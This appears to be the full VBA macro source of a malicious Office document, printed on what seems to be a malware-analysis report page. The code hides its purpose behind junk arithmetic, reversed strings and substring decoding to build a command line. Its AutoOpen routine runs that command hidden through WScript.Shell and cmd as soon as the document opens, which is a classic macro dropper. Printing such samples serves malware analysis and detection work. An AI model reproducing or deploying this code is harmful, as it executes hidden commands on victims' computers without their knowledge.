      fiDsik = iUVfv / rzFjOi
      SUWll = iPNiiZ + ZSVbBH
      fTQDLp = Hex(iunJR / Int(29454))
      kEOMV = avzOA / TACRO
      phdam = faUYz + Pkbmp
pVjKbooKjX = WdrDa("SaDA3AQOAEGA5AgZAEGAmBwMAADAzAgMAEDA2AAZAQDAwAANAkDAkBwYAcDA4AgYAADAwAwYAUDAzAwMAUGAjBAZAcDAiBwMAgDA2A4clii", 6 + 0, 100 + 0)
      fwLKE = Hex(TBCFVQ / Int(53292))
      YkbhsJ = MhvmC / zwPihL
      lROfcs = lzZEE + VbfItu
      uPwAJa = Hex(ozDJvw / Int(85242))
      EMuaS = tqzjHP / zFPnWJ
      OHFww = HNtZk + IYQMKw
uRAcTs = WdrDa("TuffuTDAzAgMAcDA0AgZAYDA4AgZAEGA4AwYAYDAzAQMAIDA3AQOAIGA0AQYAEGAhBgNAADAjBwYAMDAkBgZAgDA1AgZAQDAmBANAEDAlBwM6Tw", 4 + 0, 102 + 0)
      BAZzU = Hex(LIqsn / Int(43389))
      nsnwH = cMVjzZ / NGChsF
      AHzoIl = nwRVFD + GQkTF
      DPlFJt = Hex(WwqVz / Int(91610))
      SiiEir = BUbjYY / DNIfN
      YIAaZ = YZiTP + sDzJM
cjXUpwofSM = WdrDa("ouzMAcDAjBAMAYDAlBQOAUDAyAAMAQGAkBQMAADA5AAMAIGA0AwNAEGAmBAZAMDAyAwYAYGAwAgNAkDA2AQYAcDA4AwMAQDA5AgNAIDA5AgYAIGAzAgNAUGA4AQYAQDAzAQOAQGA4AQOAIGA5AwMAcDAlBAVDGXG", 6 + 0, 152 + 0)
      MSoBu = Hex(YkUoS / Int(67658))
      plpGJi = iKTTX / MdjVV
      BzSvRW = qBpwj + vmZRC
QsJGutSFZEBT = WIUwZaH + nfDiCwUduzvEzT + LUknrBsXu + Chr(34) + iiWpYjwnHo + aJFjVZAFY + imajtAENTj + EEPFGmwv + zKRltwMTWm + WMTDkfsc + pVjKbooKjX + cBRKN + pqlBdqfm + BqbDFNh + VWYrf + BzEvnz + fSEoKkbOv + YWiaFr + ofvIwK + ozuvvDiU + FXnBt + wKpGhf + bIkZjmtF + czcbZTwfFWS + jfEfU + YwNzDqimi + cjXUpwofSM + mzWiUPwMVzu + BNsQiAL + cNMwwIJ + nXHbYuQLfb + UBwtRi + tqHzsNr + OPtVcdVfp + kMSGNAHI + PEGBUwQZc + YFvEpv + pDCik + MaLctC + SwijruwEXAO + pajBQAW + oZdiTl + uRAcTs + tXBzLPpF + OnZLnwiLo + sHuZMwIjBbr + hloMDwY + AHaEztDpAhp + IWQnmtii + aXZsLLq + zWOtidaz + Fzqhawp + cQuFBbB + rBCnacIX + GTiiHouL + TvTWHXWLirX
      jMcOn = Hex(dZhOz / Int(41509))
      zwtTt = lzQiN / CbiMr
      vpqPHB = KkbalK + MGscqd
End Function

Attribute VB_Name = "jaiormj"
Function LUknrBsXu()
On Error Resume Next
      ZABzX = Hex(EctRu / Int(66256))
      XFzSWJ = IQmVG / LJjKD
      qtdBv = niZwzv + XpWGws
nvWsHG = WdrDa("B@% tes&&eh=%m7PMD.U", 7 + 0, 12 + 0)
      ojPJN = Hex(sEHvti / Int(26591))
      rruDBa = baLQqj / dpClRk
      HiUoP = jbiDRh + fwcDw
      wzWnsq = Hex(NzEdI / Int(87256))
      LfJSz = fiDqiN / tbibz
      zDqmC = WCitJv + BuhnIK
bnNTwKN = WdrDa("MFhbLBqQGFUJcnNVGU%!!%A", 2 + 0, 15 + 0)
      wGQuj = Hex(imPlQ / Int(56441))
      wtHUsG = ajzouu / LJMoaR
      KsmvGz = knwdf + zInMv
      JiSfW = Hex(MAYvAX / Int(92235))
      MkiOl = ZtINsc / fwVoP
      pJJqO = AGJsrG + UErTm
ItwhzGsGpED = WdrDa("MsjU6,.Ukj% tes&&r^e=%T", 2 + 0, 14 + 0)
      cPsQV = Hex(muihE / Int(6339))
      lCGtC = QRlWQB / GfHvn
      iYmFzs = lcCSZE + kVKNLp
      VTznRi = Hex(dPIpaX / Int(73500))
      pVQGaO = jWdlEK / ScRnzv
      klijL = zdDbXm + ThUjwO
mEGrKCYlauW = WdrDa("KnWRKnwIqVw% tesi0bl", 5 + 0, 12 + 0)
      jdKfij = Hex(wfYmZq / Int(27164))
      klaOW = GSBOSi / lIkqjA
      GbzCfJ = zfozv + OziGi
      GLkhvT = Hex(RcvAc / Int(89984))
      LqhXV = BmETdh / IwEOw
      BsTGnc = qXNAWU + fnSwf
vpFopHU = WdrDa("iYDMLwPLQ% tes&&4TI4", 5 + 0, 14 + 0)
      VfUHR = Hex(NPBVY / Int(64142))
      ksPrk = usriZE / ISYUdF
      bWWYMo = PNpBoT + kWQwi
      VbYKH = Hex(TOQkAz / Int(68181))
      IKpAQ = TsbOWq / NFROCz
      vLTwq = FvAHXB + BnGMcE
suWAEf = WdrDa("Z8GNX7W%scVwFAArZGkuG", 3 + 0, 12 + 0)
      sdzKo = Hex(uGIzW / Int(96402))
      WLzrt = hqXrU / UswZzF
      wqTSMI = aoznB + ZBbpqP
      MCtwj = Hex(YGhjr / Int(53918))
      LiDGhz = Oknnnv / VEBhC
      UjCnh = bBdOL + YNbTV
NQVaSZzm = WdrDa("mSisQ% tes&&pnU4Qt", 6 + 0, 10 + 0)
      lXkqc = Hex(FLkwC / Int(3634))
      CpUZbb = ZiYzk / cdPid
      jAwiX = HnhWSi + biIUDo
      FQfMWT = Hex(cbvhww / Int(69133))
      AEAwH = BuZwa / jmrIWL
      zlduW = PuzzX + wjCSiH
uMjviwwL = WdrDa("fZXwIdOoMOqfqTSOkjaH", 3 + 0, 14 + 0)
      hhEWFP = Hex(lHqknL / Int(75068))
      mfXKim = MDuCGc / iTMAfd
      tOXfaa = DNMMD + zWvUd
      wYDdB = Hex(JJcwB / Int(54326))
      wifFj = FPtzJf / MbXGE
      OjcUEj = nDwkr + XdPWq
lasJJqmhDz = WdrDa("4vDes&&!%TBEZFStuGonC", 4 + 0, 15 + 0)
      QlbtC = Hex(tzsui / Int(72842))
      rZNVV = bWbEC / JIpHf
      Ehnoqn = ZuLmPt + KOzvK
      DaMVPo = Hex(nLOpC / Int(27689))
      hOzEG = iXlWw / XwEKBJ
      ptmXE = BrZQIC + kubdt
miGhKvbw = WdrDa("zLU2GSjjYdqbOztai", 6 + 0, 8 + 0)
      bUMfop = Hex(hRKiB / Int(25562))
      jZTvqs = EbEHd / hzcWb
      KhwcN = hfCjjr + vXiLb
      YzaBdN = Hex(VJXfIJ / Int(52453))
      JGZKJk = WGwQKd / NmFXjP
      azRSn = fYIoJ + icZDFC
uplYAfNhu = WdrDa("T9tIlrQzRPPGUB% teMVDU", 5 + 0, 14 + 0)
      YdTEN = Hex(LivlZ / Int(71199))
      LfiIHr = fUzwH / QzKni
      UTrbG = EPbWjn + DhiwuQ
      UFziJI = Hex(FPCUF / Int(95020))
      vCBKU = iBQZD / sVYMzi
      cjmlJR = zBifj + KNUja
kjodaDD = WdrDa("wihUvzh%!!%nwPzW", 4 + 0, 9 + 0)
      LjMTp = Hex(aRQEj / Int(6546))
      lSVqI = stJbc / kqwhi
      pliXC = MwMiz + sUbazn
      IsVXO = Hex(ZEdFt / Int(59196))
      EIlINo = ikiVF / zokZd
      HuzrCM = hpUzhf + PpjiiS
EAzIJPHK = WdrDa("a.FFj% tGDIkG", 6 + 0, 6 + 0)
      OkXJzR = Hex(VkTEcT / Int(44741))
      HRivhG = JlBpJ / IHBqLz
      KZhCvf = FAuEM + XiPAm
      XvkaJ = Hex(kpmZM / Int(63936))
      sEISt = LPGMq / XwCKr
      UhYKf = qkBwi + NZjszl
ubEdaCikvwK = WdrDa("ZVD0DYbXb=%WTPisX", 3 + 0, 9 + 0)
      jzwcwQ = Hex(uImNif / Int(90536))
      rAtiZ = bIKOh / wQjiw
      iLHWE = uwHhw + OCqvhi
      nELoQT = Hex(UwBZXS / Int(45944))
      zHVov = RbUiik / NulUcq
      jUnSE = LUNOt + WNdXq
rTOsK = WdrDa("XbQ3HAh tes&&DEBnXoSQqVnDZ", 3 + 0, 17 + 0)
      iKVcqF = Hex(iCHCPE / Int(90010))
      zdfUDk = YzNGp / OVkWv
      ujCGd = jVXERw + wnWkz
      UNNGl = Hex(jUtlSY / Int(82457))
      vOQcl = GtRYwz / VJdrG
      mwAjJj = QSiHKW + MOFDYh
tnImiT = WdrDa("0hsD=%RcGrmwwF2M", 3 + 0, 10 + 0)
      CbwpJo = Hex(NLQuL / Int(82426))
      FuiGw = aoOJNa / LHDZS
      skUEt = rbCHNN + fpHUaz
      vbjiIC = Hex(sjImk / Int(36447))
      npwZFb = IbUGCG / ZuFXA
      nPAhiJ = daLsfR + fHjzN
LjOTQjhAN = WdrDa("UT9kXes&&s=%scBmK", 4 + 0, 9 + 0)
      LnAMY = Hex(wzSmC / Int(29688))
      sKYoOq = AHhPcb / wiSNGJ
      OAOoIc = bKnId + ZzHSRI
      ivtIT = Hex(mfubj / Int(29031))
      cjjDI = DiBTwu / SJkOJ
      dWTWR = PaVhiJ + wkOUuu
jNsQTsbzU = WdrDa("Tp=%sPFukHSTLtfuEfWhH", 7 + 0, 13 + 0)
      rPicc = Hex(NCwcvj / Int(33717))
      lqJKR = sIhBT / PwjEp
      UFiNoq = UXNdsl + sUKuF
      mosji = Hex(kIBsM / Int(70955))
      LMpmpn = zhGtz / WMAuzA
      SusMK = TRfZsj + JIGwF
HCdRUlmBNd = WdrDa("AZj8p%!&&ll=%uU2O", 3 + 0, 10 + 0)
      zPOFh = Hex(luDYIH / Int(85246))
      iQQUd = GTHSHO / aiOGD
      vBqDpK = ZoQtX + AUsts
      FEjRno = Hex(bncpJk / Int(58945))
      EsjkS = oHjmhn / IdwsGS
      dhKQmm = GXSvJ + dNFoWf
UMzNZME = WdrDa("pBULVzSTLtfu%!=%NEl", 2 + 0, 12 + 0)
      QwAfGB = Hex(SKiwD / Int(33251))
      ZXhPwj = ikQqYq / vXKWb
      hjhiK = kiwsWs + QEqXYX
      bTwijH = Hex(EjUnZX / Int(4391))
      IzaoT = YrUPTR / HEoYEu
      AqISi = OFNoaG + VkRDzi
UYCPtWzoG = WdrDa("GipMX!%uUiFkzHJC", 2 + 0, 10 + 0)
      CbiTQ = Hex(KzbfPV / Int(54518))
      BRoIKp = TijoMU / XnlaZ
      RZMpCo = QdhYF + QUSdvn
      qVBJX = Hex(tCGsfB / Int(43862))
      ppaXO = BlWKij / GUrUph
      iwrrT = bOlcz + izsrZ
sCVpmLQl = WdrDa("mOpJsQ%!=%IdOoMOqfqTSOBnUs", 5 + 0, 19 + 0)
      bdBEz = Hex(aocmiP / Int(46232))
      TJjszj = sBnAu / fEAOc
      AODMZ = BQftof + DJjVN
      cjwhHJ = Hex(aLiKm / Int(10095))
      vMqwir = waHCB / khYPCV
      PATZR = JYnHz + QvAbIr
QIrdIY = WdrDa(",Csz=%MOLboFViaBr@t", 5 + 0, 12 + 0)
      jbfIp = Hex(GRktnT / Int(13621))
      jcvsR = ZizJSH / kzjFQ
      flzkr = uLnYiA + sTkTFi
      RpdRm = Hex(fmzJzB / Int(54685))
      FSTsI = qfUVi / ajIVuk
      wBiPvF = hYSEVo + MsRbBH
HtaSiGXjBi = WdrDa("j4StmKM%!!%mRjPHN%tlL", 7 + 0, 12 + 0)
      MmUInn = Hex(zidOO / Int(3578))
      CbCYnZ = SNQzq / Ooqut
      ZmPJHI = jiuop + mRJQP
      DmzNRU = Hex(YtMhY / Int(13246))
      mGzWo = jSoLkv / ddAcZ
      ZkGpIE = WrziBP + qElLb
OJAGcqEwR = WdrDa("a8@u% tes&&FpB", 4 + 0, 8 + 0)
      lMlzo = Hex(VIiutk / Int(15219))
      hSjQpS = ErTFK / qVYsp
      RzMzI = fiYsw + wtcXX
      ZUdmHr = Hex(jwYAKq / Int(28065))
      QuzSJ = AwQci / HqviP
      acVZR = NXtRwa + uwNvvE
YEnoPNW = WdrDa("nW72 zW", 3 + 0, 1 + 0)
      ZWZXM = Hex(chfpD / Int(80894))
      qQmjrc = FmaiA / hjMtvA
      DtDCwN = QjrDO + qEiMh
      pTNpLG = Hex(rVmXNT / Int(70460))
      PNjmz = firfI / OYQMEs
      HnUDOR = idBwMi + HUdYlJ
zizNbjGkhHp = WdrDa("iRG.%!!%NEXflrQzRPPGUB8oAK", 5 + 0, 18 + 0)
      JkWKC = Hex(kSFaS / Int(39883))
      ckvJSV = rChuS / IHDmoT
      UzDwsL = tLYbi + AGWZUF
      UJiXQ = Hex(TmavBP / Int(67636))
      czLBK = huXLFl / NUmGCm
      cHLGhb = PcwjkU + QTdjPh
LihZkuw = WdrDa("9GlKNzIOZzXbFDZJZZ", 6 + 0, 11 + 0)
      amXSiA = Hex(Soowc / Int(13782))
      VnFUjk = RYbUR / zAIZmE
      BUonCa = zoKlHN + ufYMf
      pSSRc = Hex(FIodT / Int(68619))
      KJIpF = FciPvT / luAaj
      luOPf = IzLwIQ + VMwbkQ
VFjMNY = WdrDa("%IXZHDnAwZrsaU%!!w", 2 + 0, 10 + 0)
      wfhHD = Hex(wJaLH / Int(26590))
      DwJwuc = ziudZ / NzHpSQ
      KSFMH = HnwWA + vTiXCz
      cBZmm = Hex(zqvwfn / Int(40222))
      LzbrUj = MzqAR / dJFRuV
      WZiFf = ajfwP + NLqlz
iThRa = WdrDa("tnZrsaU%P41n", 5 + 0, 6 + 0)
      vwwPBj = Hex(UEVjqh / Int(71323))
      EalSV = DFphB / hDXnYI
      zZRGY = UKNFCo + iBJlF
      olkJJd = Hex(ljCWWU / Int(79668))
      GBFtm = JYtVlW / FbOAtW
      KqZrM = EiKBAZ + vvaYP
kiXAs = WdrDa("7fD@aDs&&aSsFXrsmLU", 2 + 0, 12 + 0)
      MiNqnY = Hex(FjEoW / Int(57301))
      lwPcOj = ibNsU / LtJBp
      BKZwzl = GXXiV + WbZwfw
      JKpEOZ = Hex(PaFVVS / Int(6469))
      XBPwPt = BPoPw / BwJaBK
      dYqAjb = VVlnSS + lNcDEq
wDHmZRw = WdrDa("q6!%sPFukHvDS1k", 6 + 0, 8 + 0)
      JZPwdI = Hex(iwuTI / Int(36060))
      zLOPo = BfiBzd / QjjXzU
      UwaBDS = rZqTKz + mBOoQ
      IMjOz = Hex(kRzQr / Int(31012))
      HlEnT = hmihQi / fILXM
      tnTipL = nvwWK + zhhEFT
KozcIsRL = WdrDa("OZ&&dMAqoAW=%VzthhqbkS825", 5 + 0, 19 + 0)
      BraZfS = Hex(mocGbE / Int(6130))
      dnCPc = IlqMWp / dwDFDa
      CMuCWf = wTpuFY + DtCqrr
      dCYLw = Hex(IFmDwR / Int(35510))
      MJslCj = tVWCKj / jwozwj
      fOYwC = fwiZU + zIOwaD
ipJPOdSQ = WdrDa("hUJzLd89p", 4 + 0, 3 + 0)
      NkhBJ = Hex(IVYnPB / Int(40362))
      rjvUnz = UumziR / iSCOtc
      WwMPM = iGKTXz + FcTcn
      RGtni = Hex(QhjCMK / Int(1078))
      cVsHO = Orntb / izhaBt
      twAuz = KGfPu + vaUOo
oojXhPkPiQv = WdrDa("Hvo6RjPAwi4", 3 + 0, 5 + 0)
      irHLa = Hex(AMBwS / Int(380))
      BSvHK = bvqEwi / sajCJj
      XSCHhY = ukPOnf + tzATJ
      pMGKP = Hex(jzpsU / Int(79799))
      GwTITt = viWDAp / uAAhT
      KATqG = wsilGj + IfdCAh
CkMjwiOm = WdrDa("08FbcXVwFAArZGkvzh% t,", 2 + 0, 15 + 0)
      oQKpCK = Hex(mlzpK / Int(801))
      SGicB = vnRtQX / jmRwAz
      ktqin = HLHfwv + JqZzZw
      QatGqk = Hex(mZDToI / Int(79376))
      OjFCUt = VkCTf / jmSEEB
      taHcTw = cliofQ + iwlsL
PHtIBDitHn = WdrDa("Y2TiXfVX", 3 + 0, 2 + 0)
      EEJEWE = Hex(GmkPj / Int(13714))
      DoZciX = jkBOo / TwohL
      BtpRCG = qaqAT + XZOtY
      lqXtM = Hex(wucTA / Int(74502))
      wwMEh = mLzNw / jiGZWO
      RNccF = Ktmvi + czHjSn
MuMJuwY = WdrDa("TFnwQGFUJcnNVGU% teszGwmt7Z", 8 + 0, 18 + 0)
      WUsqnc = Hex(IcarUG / Int(8801))
      UEUVHz = TzPTf / ncznl
      srZWoA = whTvbX + ncDOzj
      wklrc = Hex(BOCjj / Int(84831))
      IvIzRF = iONwj / iWJzI
      qZqoI = iYqwaO + NTiRJG
MUvXLAPb = WdrDa("0@pomZaTes&&w^o=%TBEZFStuGJi", 2 + 0, 19 + 0)
      CIjhX = Hex(HIViFF / Int(51050))
      CURGAS = jKfowH / BDFAr
      AhpIQ = ZaCLs + oLLwN
      osLwM = Hex(LTjmbO / Int(14355))
      niUob = NPKJav / nEbKUh
      ZwoSNX = HVoBwD + JDXFX
ZjBHizvBw = WdrDa("MNsiFkzHJtmKMGAD", 4 + 0, 10 + 0)
      qZiBYQ = Hex(YOHcG / Int(64956))
      uouCa = XFuVI / sGdBDE
      kBzQnt = HCtNMu + oaVJV
      NLEwN = Hex(YVcqiz / Int(17538))
      VXGHqW = OJDUU / loFib
      dpAzY = vZhCwq + idBbZi
jvtAzPwaD = WdrDa("ksMC% tHUC7", 5 + 0, 3 + 0)
      DUwBA = Hex(tRmjXI / Int(5376))
      fBUZhQ = wSLNNp / jkMfET
      Jqzwu = inAfon + zbjCrN
LUknrBsXu = mEGrKCYlauW + tnImiT + miGhKvbw + OJAGcqEwR + jNsQTsbzU + NQVaSZzm + MUvXLAPb + EAzIJPHK + ipJPOdSQ + QIrdIY + kiXAs + uplYAfNhu + PHtIBDitHn + UMzNZME + wDHmZRw + vpFopHU + KozcIsRL + MuMJuwY + ItwhzGsGpED + sCVpmLQl + lasJJqmhDz + CkMjwiOm + LjOTQjhAN + jvtAzPwaD + LihZkuw + ubEdaCikvwK + rTOsK + iThRa + oojXhPkPiQv + nvWsHG + ZjBHizvBw + HCdRUlmBNd + zizNbjGkhHp + uMjviwwL + bnNTwKN + kjodaDD + suWAEf + VFjMNY + HtaSiGXjBi + UYCPtWzoG + YEnoPNW
      GBmom = Hex(DhCTrD / Int(67894))
      VKVdnS = JSjYa / pIDKo
      GzIDKJ = uzljn + EvdQLY
End Function

Attribute VB_Name = "KYiXcrwiCV"
Function WIUwZaH()
On Error Resume Next
      vAisDw = Hex(FPKTC / Int(94238))
      pDzEV = mjoEYZ / MqRVkC
      JoGXJ = djzsK + fnSmCB
nvWsHG = WdrDa("B@mwjLFDpYziqw m7PMD.U", 7 + 0, 14 + 0)
      rLPMa = Hex(iRvPz / Int(77909))
      zhEBwZ = CVFjvt / uutDOU
      KEubj = fCiRB + cawiR
      pSUGi = Hex(HAlan / Int(70746))
      iWDFiH = khIUIG / dUmqY
      JQYpck = SPONXn + TjtuA
bnNTwKN = WdrDa("MFhbLBq^c^E^p^S^m^o^C^%     %^cA", 2 + 0, 24 + 0)
      ijIKAz = Hex(sdfzkO / Int(15574))
      NwNduP = VSvzU / Aubsqj
      cHNpfJ = pjPcIf + FlfQFc
      GIUFuj = Hex(ThvHn / Int(15099))
      sAriC = PMLjY / ZwwwLP
      YOEQU = NzUjBS + YtlYr
ItwhzGsGpED = WdrDa("MsjU6,.Un viilnXIUtlO dmT", 2 + 0, 16 + 0)
      jMjuw = Hex(hSKSWl / Int(69687))
      QjBojW = pYucKO / EfLXF
      jKrTH = nZDhzw + aEosw
      CNRwM = Hex(ZzTcz / Int(3605))
      WdaTOd = iNhji / fpPLi
      bNGui = ajMfiP + OzjvJS
mEGrKCYlauW = WdrDa("KnWR  i0bl", 5 + 0, 2 + 0)
      joupj = Hex(QpfjkI / Int(95528))
      alQjwi = zEziRl / ZztGt
      YmTRO = YkAcuW + CnLPM
      dkcoo = Hex(SzhTS / Int(79607))
      XMBriR = cNQXdf / iENAcW
      EoLUBn = RhkiTA + mduLWk
vpFopHU = WdrDa("iY   4TI4", 5 + 0, 3 + 0)
      PUELJJ = Hex(uUTqTk / Int(35773))
      pWjdq = jjtJi / waSoF
      SpUGJs = KWNQnA + TNoXi
      CpPzYj = Hex(UTdQsH / Int(78605))
      zXQVD = iiiVl / EPZFv
      uDEAJ = BXzELD + Qwrcws
suWAEf = WdrDa("Z8GNX7W^E^p^S^m^o^C^%     & kTuG", 3 + 0, 23 + 0)
      ELXKl = Hex(mOfFtX / Int(40760))
      MlJzOi = fSaSa / VTMmdN
      BjftPf = nsuLoi + DNifiK
      pIoNwT = Hex(zttwNJ / Int(89620))
      RrVzlm = jEmQZ / izlkB
      JOcXY = PSsFp + BbarQS
NQVaSZzm = WdrDa("mSi nU4Qt", 6 + 0, 1 + 0)
      ipicj = Hex(fubQtH / Int(26799))
      nkRpT = jVUPaO / Pwwri
      MWjbl = vsVoBw + bONqJC
      zBvZra = Hex(XqdUMY / Int(95108))
      KkMfwn = FLpNQ / TrNSww
      fhfhq = DNYEVt + OjzNL
uMjviwwL = WdrDa("fZXwlYnKNuOYjNwjlSKWjSWHIaH", 3 + 0, 21 + 0)
      npwkki = Hex(DDwQC / Int(31875))
      pucFio = jujHU / AWnsA
      OKSjz = DjjzOI + ETaTD
      sMjim = Hex(AWiwM / Int(92537))
      wMOLT = nGavdj / aDBwtt
      CPLCYc = TtOZo + MjTtl
lasJJqmhDz = WdrDa("4vD     c/         V/     %onC", 4 + 0, 24 + 0)
      NUuRQD = Hex(AzzViE / Int(36265))
      VhBLn = YUMMVo / aujHK
      fbIzu = ZcaWYf + VNqwS
WIUwZaH = ItwhzGsGpED + uMjviwwL + nvWsHG + suWAEf + bnNTwKN + lasJJqmhDz + vpFopHU + mEGrKCYlauW + NQVaSZzm
      zBpzhE = Hex(OdaDNN / Int(45126))
      mYNjG = NOzwo / ASHjvR
      Nwqbbs = kwCWI + IRipd
End Function
Function WdrDa(ByVal BUGPPRzQrlfXEN As String, MKmtJHzkFiUu, UasrZwAPjRm)
On Error Resume Next
      wuldv = Hex(mVZAbN / Int(92174))
      ijjKnw = JftnoG / SnAzrb
      HvwmL = RJViL + iuLQYO
      YpOrp = Hex(WzCmz / Int(58701))
      USalj = csZAK / cGXrH
      ciUDh = DGfoGO + WDoOQ
pGzzYduzRA = ajzmdwpE + StrReverse(BUGPPRzQrlfXEN) + NAzHvOWvBRk
      hdsomL = Hex(nHnrHY / Int(64002))
      cwqEso = tiowS / AHmzj
      sCHwrn = QYZIs + OXtzLM
jkOSTqfqOMoOdI = uKkOzosTnzAua + Mid(pGzzYduzRA, MKmtJHzkFiUu, UasrZwAPjRm) + ooVzzQjXzTVw
      EmGHb = Hex(oriSsz / Int(5318))
      sdYYOR = ZiXCLw / WKQsC
      ohhsZ = mvGVc + wVnubv
WdrDa = fRiDiF + jkOSTqfqOMoOdI + ocUXCAz
      HLvjzD = Hex(BTMuEP / Int(51577))
      cjUlX = JdwmJ / JaiTc
      TObwu = EAPLrn + ANErn
End Function

Attribute VB_Name = "PaUzhztphVbk"
Sub AutoOpen()
On Error Resume Next
      SDvMwi = Hex(YjWtzm / Int(20450))
      JJFivl = bzQtA / HWiob
      VzEAHN = JiDbAv + IfYPso
      EcwvD = Hex(nRJsFW / Int(77976))
      nFIwVw = fXXQwN / bwOvmr
      VIEEj = rYKWd + wUaPR
Application.Run "UGVNncJUFGQwn", QsJGutSFZEBT
      siZEY = Hex(EPuqLd / Int(18583))
      zXRwDu = llHMBm / PYAiwX
      NsRjZz = RBNhM + JaCdMX
End Sub
Sub UGVNncJUFGQwn(hzvkGZrAAFwVcs As String)
On Error Resume Next
      GsRrXs = Hex(zVpcj / Int(72588))
      kiANdu = Ujtfo / ipVXWZ
      SUYGVEtCEVQBb = "WScript.Shell"
      nUaaMh = UvMlAa + YvCQj
      UlIYLi = Hex(iKzRFH / Int(99935))
      PEaAw = zYXIi / oJtTH
      wQBMCO = hIJwuf + aCJrcP
CreateObject(SUYGVEtCEVQBb).Run UXNkPhULURjK + Chr(VBA.vbKeyC) + hzvkGZrAAFwVcs + LjADCLWO + nccdlmmACqrzbt, vbHide
      bmhJWo = Hex(QkMirB / Int(10882))
      QsYVkk = mvhYT / pSSjp
      cPiNr = vLsQC + kuNZzb
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.